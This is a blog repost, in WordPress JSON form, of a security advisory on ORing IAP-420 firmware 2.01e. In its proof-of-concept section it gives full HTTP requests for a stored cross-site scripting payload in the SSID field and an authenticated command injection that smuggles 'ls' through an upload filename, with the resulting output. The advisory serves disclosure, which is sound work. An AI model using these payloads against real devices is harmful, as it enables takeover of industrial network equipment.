{"id":57159,"date":"2024-05-30T15:11:49","date_gmt":"2024-05-30T11:11:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178864\/CDSR-20240528-0.txt"},"modified":"2024-05-30T15:11:49","modified_gmt":"2024-05-30T11:11:49","slug":"oring-iap-420-2-01e-cross-site-scripting-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/oring-iap-420-2-01e-cross-site-scripting-command-injection\/","title":{"rendered":"ORing IAP-420 2.01e Cross Site Scripting \/ Command Injection"},"content":{"rendered":"<p>CyberDanube Security Research 20240528-0<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>title| Multiple Vulnerabilities<br \/>product| ORing IAP-420<br \/>vulnerable version| 2.01e<br \/>fixed version| &#8211;<br \/>CVE number| CVE-2024-5410, CVE-2024-5411<br \/>impact| High<br \/>homepage| https:\/\/oringnet.com\/<br \/>found| 2024-01-19<br \/>by| T. Weber (Office Vienna)<br \/>| CyberDanube Security Research<br \/>| Vienna | St. P\u00f6lten<br \/>|<br \/>| https:\/\/www.cyberdanube.com<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>Vendor description<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;Founded in 2005, ORing specializes in developing innovative own-branded<br \/>products for industrial settings. Over the years, ORing has accumulated<br \/>abundant experience in wired and wireless network communications industry. In<br \/>line with the commercialization of 5G, ORing has stretched its arm into the<br \/>IIoT field, helping customers realize all kinds of IIoT applications such as<br \/>smart manufacturing, smart city, and industrial automation. With high product<br \/>quality and best customer services in mind, ORing has continued to launch<br \/>cutting-edge products catering to customer needs. ORing&#8217;s products have been<br \/>widely adopted in surveillance, rail transport, industrial automation, power<br \/>substations, renewable energy, and marine industries with offices worldwide to<br \/>address customer needs in real time.&#8221;<\/p>\n<p>Source: https:\/\/oringnet.com\/en\/about-us\/company-profile<\/p>\n<p>Vulnerable versions<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>IAP-420 \/ 2.01e<\/p>\n<p>Vulnerability overview<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1) Stored Cross-Site Scripting (CVE-2024-5410)<br \/>A Stored Cross-Site Scripting vulnerability was identified in the web interface<br \/>of the device. The SSID of the WiFi can be configured to contain arbitrary<br \/>JavaScript code. An attacker can exploit this vulnerability by luring a victim<br \/>to visit a malicious website. Furthermore, it is possible to hijack the session<br \/>of the attacked user.<\/p>\n<p>2) Authenticated Command Injection (CVE-2024-5411)<br \/>The filename parameter of the config file upload is prone to a Command<br \/>Injection vulnerability. This vulnerability can only be exploited if a user is<br \/>authenticated to the web interface. This way, an attacker can invoke commands<br \/>and is able to get full control over the whole device.<\/p>\n<p>Proof of Concept<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1) Stored Cross-Site Scripting (CVE-2024-5410)<br \/>Stored Cross-Site Scripting can be triggered by placing JavaScript code into<br \/>the SSID input field of the web interface as authenticated user. A single<br \/>request for injecting the script is shown below:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>POST \/cgi-bin\/wl_set.cgi HTTP\/1.1<br \/>Host: 192.168.0.1<br \/>Accept-Language: de,en-US;q=0.7,en;q=0.3<br \/>Accept-Encoding: gzip, deflate<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 659<br \/>Connection: keep-alive<br \/>Cookie: auth=YWRtaW46YWRtaW4=<br \/>Upgrade-Insecure-Requests: 1<\/p>\n<p>sel_op_mode=client&amp;sel_mssid=0&amp;tf_ssid=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&amp;sel_isolation=0&amp;<br \/>sel_mssid_isolation=0&amp;sel_auth_mode=0&amp;rb_wep_authmode=0&amp;sel_wep_enc_bits=0&amp;<br \/>sel_wep_key_type=0&amp;tf_key1=&amp;tf_key2=&amp;tf_key3=&amp;tf_key4=&amp;rb_wpapsk_authmode=0&amp;<br \/>rb_wpapsk_enc=0&amp;tf_wpa_key=&amp;rb_wpa_authmode=0&amp;rb_wpa_enc=0&amp;tf_ip1=&amp;tf_ip2=&amp;<br \/>tf_ip3=&amp;tf_ip4=&amp;tf_radius_port=&amp;tf_radius_key=&amp;tf_ip1_1x=&amp;tf_ip2_1x=&amp;<br \/>tf_ip3_1x=&amp;tf_ip4_1x=&amp;tf_radius_port_1x=&amp;tf_radius_key_1x=&amp;bt_save=Save&amp;<br \/>lang=en&amp;channel=0&amp;isolation=0&amp;mssid_isolation=0&amp;auth_mode=0&amp;wep_authmode=0&amp;<br \/>wpapsk_authmode=0&amp;wpa_authmode=0&amp;wpa_enc_type=0&amp;wep_enc_bits=0&amp;wep_key_type=0&amp;<br \/>wep_key_index=0&amp;ret_msg=<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>2) Authenticated Command Injection (CVE-2024-5411)<br \/>A command can be injected in the filename of the uploaded config. By sending a<br \/>request as shown below, the content of the current directory can be shown:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>POST \/cgi-bin\/admin_config.cgi?todo=upconf HTTP\/1.1<br \/>Host: 10.69.10.2<br \/>User-Agent: Mozilla\/5.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8<br \/>Accept-Language: de,en-US;q=0.7,en;q=0.3<br \/>Accept-Encoding: gzip, deflate<br \/>Content-Type: multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;347087158737672164432057801583<br \/>Content-Length: 563<br \/>Connection: keep-alive<br \/>Cookie: auth=YWRtaW46YWRtaW4=<br \/>Upgrade-Insecure-Requests: 1<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;347087158737672164432057801583<br \/>Content-Disposition: form-data; name=&#8221;upfile&#8221;; filename=&#8221;test.bin;ls${IFS}-la;&#8221;<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;347087158737672164432057801583<br \/>Content-Disposition: form-data; name=&#8221;bt_upconf&#8221;<\/p>\n<p>Upload<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;347087158737672164432057801583<br \/>Content-Disposition: form-data; name=&#8221;lang&#8221;<\/p>\n<p>en<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;347087158737672164432057801583<br \/>Content-Disposition: form-data; name=&#8221;ret_msg_upconf&#8221;<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;347087158737672164432057801583&#8211;<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>This request is equal to executing &#8220;ls -la&#8221; on the console of the device.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>HTTP\/1.0 200 OK<br \/>tar: can&#8217;t open &#8216;\/tmp\/test.bin&#8217;: No such file or directory<br \/>drwxr-xr-x 4 root root 1024 Mar 7 14:36 .<br \/>drwxr-xr-x 8 root root 1024 Jan 30 2024 ..<br \/>-rwxr-xr-x 1 root root 17572 Jan 30 2024 admin_config.cgi<br \/>-rwxr-xr-x 1 root root 17584 Jan 30 2024 admin_default.cgi<br \/>-rwxr-xr-x 1 root root 15984 Jan 30 2024 admin_fwup.cgi<br \/>-rwxr-xr-x 1 root root 12476 Jan 30 2024 admin_password.cgi<br \/>-rwxr-xr-x 1 root root 13164 Jan 30 2024 admin_restart.cgi<br \/>-rwxr-xr-x 1 root root 33336 Jan 30 2024 adv_filters.cgi<br \/>-rwxr-xr-x 1 root root 15032 Jan 30 2024 adv_misc.cgi<br \/>-rwxr-xr-x 1 root root 72168 Jan 30 2024 adv_rstp.cgi<br \/>-rwxr-xr-x 1 root root 6588 Jan 30 2024 backup_unit.cgi<br \/>[&#8230;]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>The vulnerabilities were manually verified on an emulated device by using the<br \/>MEDUSA scalable firmware runtime (https:\/\/medusa.cyberdanube.com).<\/p>\n<p>Solution<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>None<\/p>\n<p>Workaround<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>None<\/p>\n<p>Recommendation<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>CyberDanube recommends Oring customers to upgrade the firmware to the latest<br \/>version available and to restrict network access to the management interface of<br \/>the device.<\/p>\n<p>Contact Timeline<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>2024-02-06: Contacting ORing via support@oringnet.com. Automatic holiday reply.<br \/>2024-02-19: Asking for an update. No reply.<br \/>2024-02-28: Asking for an update. No reply.<br \/>2024-03-11: Searched for &#8220;cyber security manager&#8221; on LinkedIn. Contacted him<br \/>and got the answer, that the content should be sent to<br \/>&#8220;support@oringnet.com&#8221;. Sent the advisory to this address directly.<br \/>2024-03-20: Asking for an update. No reply.<br \/>2024-04-10: Asking for an update. No reply.<br \/>2024-04-30: Including support_us@oringnet.com. Asking for an update. Added<br \/>notification about responsible disclosure deadline. No reply.<br \/>2024-05-02: Including support_eu@oringnet.com. Asking for an update. Added<br \/>notification about responsible disclosure deadline. No reply.<br \/>2024-05-27: Sent information that the advisory will be published on 2024-05-28.<br \/>2024-05-28: Public release of security advisory.<\/p>\n<p>Web: https:\/\/www.cyberdanube.com<br \/>Twitter: https:\/\/twitter.com\/cyberdanube<br \/>Mail: research at cyberdanube dot com<\/p>\n<p>EOF T. Weber \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>CyberDanube Security Research 20240528-0&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-title| Multiple Vulnerabilitiesproduct| ORing IAP-420vulnerable version| 2.01efixed version| &#8211;CVE number| CVE-2024-5410, CVE-2024-5411impact| Highhomepage| https:\/\/oringnet.com\/found| 2024-01-19by| T. Weber (Office Vienna)| CyberDanube Security Research| Vienna | St. P\u00f6lten|| https:\/\/www.cyberdanube.com&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Vendor description&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8220;Founded in 2005, ORing specializes in developing innovative own-brandedproducts for industrial settings. Over the years, ORing has accumulatedabundant experience in wired and wireless network &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57159","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57159","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57159"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57159\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57159"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57159"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57159"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}